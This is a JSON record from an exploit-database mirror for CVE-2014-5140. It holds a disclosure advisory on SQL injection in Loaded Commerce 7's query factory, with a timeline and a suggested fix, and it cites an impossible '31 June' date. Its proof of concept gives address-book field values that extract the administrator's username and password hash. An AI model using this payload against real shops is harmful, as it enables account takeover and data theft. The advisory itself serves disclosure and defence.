{"exploit":{"id":"EDB-34552","name":"LoadedCommerce7 - Systemic Query Factory","description":"LoadedCommerce7 - Systemic Query Factory","cves":["CVE-2014-5140"],"author":"Breaking.Technology","published":"2014-09-07","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/34552","path":"exploits/php/webapps/34552.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-34552.txt","vulnerabilities":[{"id":"CVE-2014-5140","state":"PUBLISHED","title":null,"titleSource":null,"description":"The bindReplace function in the query factory in includes/classes/database.php in Loaded Commerce 7 does not properly handle : (colon) characters, which allows remote authenticated users to conduct SQL injection attacks via the First name and Last name fields in the address book.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-5140","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-5140"},"updatedAt":"2024-08-06T11:34:37.518Z","retrievedAt":"2026-11-27T12:08:37.578Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-34552.png?v=2","url":"https://exploitbin.com/exploits/EDB-34552","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-34552/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-34552/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Title:     LoadedCommerce7 Systemic Query Factory Vulnerability\n\nAdvisory:  http://breaking.technology/advisories/CVE-2014-5140.txt\n\nCredits:   Discovered by Breaking Technology Research Labs 2014-06-30\n\nReference: CVE-2014-5140 - Assigned 31 June 2014\n\nTimeline:\n           Vendor notified - 29 July 2014\n           Vendor confirmed exploit 30 July 2014\n\n\nSeverity:           Critical\nAttack Complexity:  Minimal\nClassification:     SQL injection, unsafe string replacement\n\nDescription:\n\n\tLoaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.\n\nProof of Concept:\n\n\tHave a valid customer account and create a new contact in your address book using the following values.\n\n\n\tFirst name: :entry_lastname,\n\tLast Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#\n\n\tThe new contact will be added to your address book with the admin hash as the contact's street address\n\nSuggested Fix:\n\tSanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at\n        https://github.com/tomatocart/TomatoCart-v1/pull/238","sha256":"a8e4a88078027ad1dbec3953a18aeecd0d1f1793bd0a902a0e208abc580c261a","bytes":1402,"fetchedAt":"2026-11-27T12:08:35.219Z","encoding":"utf-8 (display only; download retains original bytes)"}